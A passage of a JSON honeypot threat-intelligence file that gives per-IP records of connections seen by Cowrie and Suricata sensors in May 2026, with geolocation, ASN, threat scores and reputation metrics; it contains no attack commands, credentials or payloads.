        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T04:03:00.290000+00:00",
        "last_seen_30d": "2026-05-05T04:04:13.072000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.232.86.241": {
      "attack_count": 2,
      "first_seen": "2026-05-09T02:13:18.445Z",
      "last_seen": "2026-05-09T02:13:39.868Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Quer\u00e9taro City",
      "asn": 28536,
      "as_org": "Mexico Red de Telecomunicaciones, S. de R.L. de C.V.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T02:13:18.445000+00:00",
        "last_seen_30d": "2026-05-09T02:16:49.244000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "178.251.140.3": {
      "attack_count": 2,
      "first_seen": "2026-05-24T11:36:52.497Z",
      "last_seen": "2026-05-24T11:38:52.500Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 31363,
      "as_org": "JSC ER-Telecom Holding",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T11:36:52.497000+00:00",
        "last_seen_30d": "2026-05-24T11:48:55.281000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "179.29.224.137": {
      "attack_count": 2,
      "first_seen": "2026-05-09T21:49:43.330Z",
      "last_seen": "2026-05-09T21:49:56.910Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T21:49:43.330000+00:00",
        "last_seen_30d": "2026-05-09T21:51:05.151000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.105.112.169": {
      "attack_count": 2,
      "first_seen": "2026-05-16T03:10:36.552Z",
      "last_seen": "2026-05-16T03:10:49.774Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Santa Fe",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T03:10:36.552000+00:00",
        "last_seen_30d": "2026-05-16T03:11:54.754000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.78.217.6": {
      "attack_count": 2,
      "first_seen": "2026-05-26T21:43:39.999Z",
      "last_seen": "2026-05-26T21:43:40.187Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9498,
      "as_org": "BHARTI Airtel Ltd.",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T21:43:39.999000+00:00",
        "last_seen_30d": "2026-05-26T21:44:44.241000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "190.181.45.34": {
      "attack_count": 2,
      "first_seen": "2026-05-16T20:47:18.463Z",
      "last_seen": "2026-05-16T20:49:18.469Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "Cochabamba",
      "asn": 26210,
      "as_org": "AXS Bolivia S. A.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T20:47:18.463000+00:00",
        "last_seen_30d": "2026-05-16T21:00:03.116000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "193.216.49.210": {
      "attack_count": 2,
      "first_seen": "2026-05-17T12:47:35.161Z",
      "last_seen": "2026-05-17T12:48:06.192Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lithuania",
      "country_code": "LT",
      "city": null,
      "asn": 1257,
      "as_org": "Tele2 SWIPnet",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T12:47:35.161000+00:00",
        "last_seen_30d": "2026-05-17T12:49:13.208000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "196.189.69.81": {
      "attack_count": 2,
      "first_seen": "2026-05-12T11:54:22.216Z",
      "last_seen": "2026-05-12T11:56:22.223Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T11:54:22.216000+00:00",
        "last_seen_30d": "2026-05-12T12:07:01.688000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "201.111.228.235": {
      "attack_count": 2,
      "first_seen": "2026-05-28T16:21:58.173Z",
      "last_seen": "2026-05-28T16:22:11.850Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Veracruz",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T16:21:58.173000+00:00",
        "last_seen_30d": "2026-05-28T16:23:20.985000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.172.173.166": {
      "attack_count": 2,
      "first_seen": "2026-05-23T05:10:27.966Z",
      "last_seen": "2026-05-23T05:11:04.950Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T05:10:27.966000+00:00",
        "last_seen_30d": "2026-05-23T05:12:12.129000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "222.127.153.79": {
      "attack_count": 2,
      "first_seen": "2026-05-05T06:54:01.633Z",
      "last_seen": "2026-05-05T06:54:13.940Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Carmona",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T06:54:01.633000+00:00",
        "last_seen_30d": "2026-05-05T06:55:21.477000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "222.219.4.93": {
      "attack_count": 2,
      "first_seen": "2026-05-13T16:27:08.830Z",
      "last_seen": "2026-05-13T16:27:22.518Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T16:27:08.830000+00:00",
        "last_seen_30d": "2026-05-13T16:28:27.271000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "24.42.108.146": {
      "attack_count": 2,
      "first_seen": "2026-05-26T23:43:37.507Z",
      "last_seen": "2026-05-26T23:43:40.702Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Palestine",
      "country_code": "PS",
      "city": "Nablus",
      "asn": 12975,
      "as_org": "Palestine Telecommunications Company (PALTEL)",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T23:43:37.507000+00:00",
        "last_seen_30d": "2026-05-26T23:44:41.376000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "37.186.126.17": {
      "attack_count": 2,
      "first_seen": "2026-05-18T00:15:22.373Z",
      "last_seen": "2026-05-18T00:15:53.006Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 49800,
      "as_org": "GNC-Alfa CJSC",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T00:15:22.373000+00:00",
        "last_seen_30d": "2026-05-18T00:16:59.933000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "38.49.138.106": {
      "attack_count": 2,
      "first_seen": "2026-05-03T13:03:45.767Z",
      "last_seen": "2026-05-03T13:03:58.835Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Mineral de la Reforma",
      "asn": 28458,
      "as_org": "IENTC S DE RL DE CV",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T13:03:45.767000+00:00",
        "last_seen_30d": "2026-05-03T13:05:03.557000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.60.246.12": {
      "attack_count": 2,
      "first_seen": "2026-05-13T20:15:37.516Z",
      "last_seen": "2026-05-13T20:15:50.748Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T20:15:37.516000+00:00",
        "last_seen_30d": "2026-05-13T20:16:54.705000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.232.75.25": {
      "attack_count": 2,
      "first_seen": "2026-05-22T20:03:21.577Z",
      "last_seen": "2026-05-22T20:03:49.626Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Londrina",
      "asn": 267251,
      "as_org": "TELEFONARNET TELECOMUNICACOES",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:03:21.577000+00:00",
        "last_seen_30d": "2026-05-22T20:04:54.483000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "46.42.119.52": {
      "attack_count": 2,
      "first_seen": "2026-05-23T11:56:43.190Z",
      "last_seen": "2026-05-23T11:57:14.275Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bahrain",
      "country_code": "BH",
      "city": "Hamad Town",
      "asn": 51375,
      "as_org": "Stc Bahrain B.s.c Closed",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T11:56:43.190000+00:00",
        "last_seen_30d": "2026-05-23T11:58:22.210000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.43.129.53": {
      "attack_count": 2,
      "first_seen": "2026-05-16T15:34:27.179Z",
      "last_seen": "2026-05-16T15:34:42.386Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Panipat",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T15:34:27.179000+00:00",
        "last_seen_30d": "2026-05-16T15:35:50.869000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.29.100.133": {
      "attack_count": 2,
      "first_seen": "2026-05-15T02:09:24.948Z",
      "last_seen": "2026-05-15T02:09:37.250Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Rehovot",
      "asn": 12849,
      "as_org": "Hot-Net internet services Ltd.",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T02:09:24.948000+00:00",
        "last_seen_30d": "2026-05-15T02:10:38.307000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "61.106.81.21": {
      "attack_count": 2,
      "first_seen": "2026-05-03T01:55:59.889Z",
      "last_seen": "2026-05-03T01:56:13.476Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 17839,
      "as_org": "LG HelloVision Corp.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T01:55:59.889000+00:00",
        "last_seen_30d": "2026-05-03T01:57:15.631000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "72.22.151.95": {
      "attack_count": 2,
      "first_seen": "2026-05-02T11:56:41.452Z",
      "last_seen": "2026-05-02T11:58:41.454Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Barbados",
      "country_code": "BB",
      "city": "Bridgetown",
      "asn": 14813,
      "as_org": "Columbus Telecommunications Barbados Limited",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T11:56:41.452000+00:00",
        "last_seen_30d": "2026-05-02T12:09:31.907000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "79.169.235.196": {
      "attack_count": 2,
      "first_seen": "2026-05-10T05:20:52.411Z",
      "last_seen": "2026-05-10T05:21:05.624Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Estoril",
      "asn": 2860,
      "as_org": "Nos Comunicacoes, S.A.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T05:20:52.411000+00:00",
        "last_seen_30d": "2026-05-10T05:22:11.783000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "85.217.149.48": {
      "attack_count": 2,
      "first_seen": "2026-05-19T20:21:52.370Z",
      "last_seen": "2026-05-19T20:21:52.636Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Beauharnois",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 94.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 29.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 868,
        "days_active_30d": 30,
        "ports_targeted_30d": 431,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T00:53:04.814000+00:00",
        "last_seen_30d": "2026-05-31T00:32:19.548000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 549,
        "Honeytrap": 316,
        "Cowrie": 2,
        "Mailoney": 1
      }
    },
    "88.120.128.133": {
      "attack_count": 2,
      "first_seen": "2026-05-26T12:56:07.593Z",
      "last_seen": "2026-05-26T12:56:37.933Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Meyzieu",
      "asn": 12322,
      "as_org": "Free SAS",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T12:56:07.593000+00:00",
        "last_seen_30d": "2026-05-26T12:57:39.724000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "88.231.58.134": {
      "attack_count": 2,
      "first_seen": "2026-05-10T20:17:25.336Z",
      "last_seen": "2026-05-10T20:17:37.548Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Trabzon",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T20:17:25.336000+00:00",
        "last_seen_30d": "2026-05-10T20:18:39.825000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "93.136.134.85": {
      "attack_count": 2,
      "first_seen": "2026-05-10T23:40:48.439Z",
      "last_seen": "2026-05-10T23:41:01.496Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Croatia",
      "country_code": "HR",
      "city": "Rijeka",
      "asn": 5391,
      "as_org": "Hrvatski Telekom d.d.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T23:40:48.439000+00:00",
        "last_seen_30d": "2026-05-10T23:42:10.098000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "167.71.209.154": {
      "attack_count": 2678,
      "first_seen": "2026-05-09T07:55:47.987Z",
      "last_seen": "2026-05-09T14:26:54.545Z",
      "sessions": 1339,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T07:55:47.987000+00:00",
        "last_seen_30d": "2026-05-09T14:27:57.408000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2678,
        "Suricata": 1470
      }
    },
    "119.209.12.20": {
      "attack_count": 634,
      "first_seen": "2026-05-06T06:51:12.447Z",
      "last_seen": "2026-05-24T15:32:59.738Z",
      "sessions": 57,
